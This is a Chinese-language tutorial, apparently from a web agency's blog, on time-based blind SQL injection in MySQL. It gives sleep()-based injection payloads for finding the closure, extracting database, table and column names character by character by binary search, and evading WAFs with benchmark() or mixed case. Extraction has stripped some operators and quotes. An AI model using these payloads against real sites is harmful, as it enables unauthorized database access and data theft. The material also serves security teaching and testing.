网络安全 - SQL注入篇 - 时间盲注

发布时间:2026/9/21 18:02:18
网络安全 - SQL注入篇 - 时间盲注 一、什么是时间盲注时间盲注Time-Based Blind Injection——它利用的是数据库的睡眠函数如SLEEP()通过判断页面响应时间是否被人为延长从而逐字符“抠”出数据。二、时间盲注的利用前提① 存在 SQL注入 漏洞② 数据库支持延时函数③ 网络延迟稳定三、确认时间盲注可用核心目标找到能让 SLEEP() 函数正常执行的闭合方式。判断标准如果某组闭合下页面延迟了约N秒说明该闭合有效如果立即返回则该闭合无效或条件为假。序号场景类型测试输入预期现象响应时间结论1基准测试?id1立即返回 200ms基准状态2数字型 - 真测试?id1 and sleep(5)延迟约 5 秒确认为数字型时间盲注3数字型 - 假测试?id1 and 12 and sleep(5)立即返回确认AND短路有效逻辑可靠4字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为单引号闭合5字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为双引号闭合6字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为单引号括号闭合7字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为双引号括号闭合8字符型 - 真测试?id1)) and sleep(5) --延迟约 5 秒确认为多层括号闭合9字符型 -假测试对应上方的闭合方式and 12 and sleep(5) --立即返回确认该闭合方式下AND逻辑正常重要结论上述测试中序号2~8只要有一个触发延迟该注入点就100%能用时间盲注。实战中 1’ 和 1’) 命中率最高优先测这两个。时间盲注使用核心函数函数 / 语句作用示例MySQLsleep(seconds)让数据库暂停执行 N 秒sleep(5)→ 暂停5秒benchmark(count, expr)重复执行表达式 N 次CPU密集型替代sleep绕过部分WAFbenchmark(10000000, md5(a))if(cond, true_val, false_val)条件判断函数if(11, sleep(5), 0)case when ... then ... end条件判断替代ifcase when 11 then sleep(5) else 0 end优先使用 AND SLEEP() 组合如 and if(…)比单纯的 if() 更灵活且能利用短路逻辑加快假条件的响应。四、时间盲注的详细步骤第一步判断数据库名长度利用 if sleep-- 猜测长度为 1假 → 立即返回?id1 and if(length(database())1, sleep(5), 0) -- -- 猜测长度为 8真 → 延迟5秒 ?id1andif(length(database())8,sleep(5),0)-- ✅ 页面卡了5秒通过逐个数1~20替换最终确定长度为 8。第二步逐位获取数据库名ASCII比较法截取第1位判断其ASCII码是否等于某个值-- 判断第1位是否等于 sASCII 115如果是则延迟5秒?id1andif(ascii(substr(database(),1,1))115,sleep(5),0)--实战中你不知道具体数值需要用二分法大于号配合 sleep-- 判断第1位 ASCII 是否 100?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- 延迟说明大于100 -- 判断是否 120 ?id1andif(ascii(substr(database(),1,1))120,sleep(5),0)-- 立即返回说明在100~120之间-- 继续折半最终锁定 115第三步获取当前数据库下的表名-- 获取第一张表的长度假设是 users长度5?id1 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5, sleep(5), 0) -- -- 获取第一张表的第1个字符u 117 ?id1andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))117,sleep(5),0)--第四步获取字段名与数据-- 获取 users 表第一个字段名的第1个字符?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuserslimit0,1),1,1))117,sleep(5),0)--五、提高效率二分法 超时设置时间盲注极其耗时每猜一个字符要等5秒。手工测试时必须坚持两点技巧说明示例使用二分法不要用逐个试最坏127次用最多7次确定一个字符if(ascii(...) 64, sleep(5), 0)设置合理的延迟时间生产环境延迟设为1~2 秒不要设5秒配合timeout判断sleep(2)浏览器/脚本超时设为 3 秒优先确认长度再取值先跑length()确定总长度避免超出范围浪费请求先跑长度再跑内容六、时间盲注避坑指南序号坑点现象解决方案1网络延迟干扰服务器响应本来就要 500ms设sleep(1)根本不明显设sleep(3)或sleep(5)阈值设在2~3秒以上2AND短路导致 sleep 不执行写12 and sleep(5)永远立即返回因为12为假MySQL 直接短路判假条件用if(条件, sleep(5), 0)更稳妥不依赖短路3表名/数据库名含有大写二分法范围只跑97~122小写漏掉大写字母范围设为32~127包含大写、数字、下划线4子查询必须用括号包裹select table_name from ... limit 0,1报错写成(select table_name from ... limit 0,1)5sleep()被 WAF 拦截报错 403 或请求被拒绝换benchmark(10000000, md5(a))替代或尝试sleep(1)改为SLEEP(1)大小写混写6脚本误判超时假阳性网络突然卡顿假条件也超时脚本误以为真增加重试机制同一字符验证两次均超时才判为真7单次请求耗时过长跑 50 个字符每个字符 7 次请求 × 3 秒 21 分钟将sleep(3)改为sleep(1)阈值设 0.8 秒需配合稳定内网

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询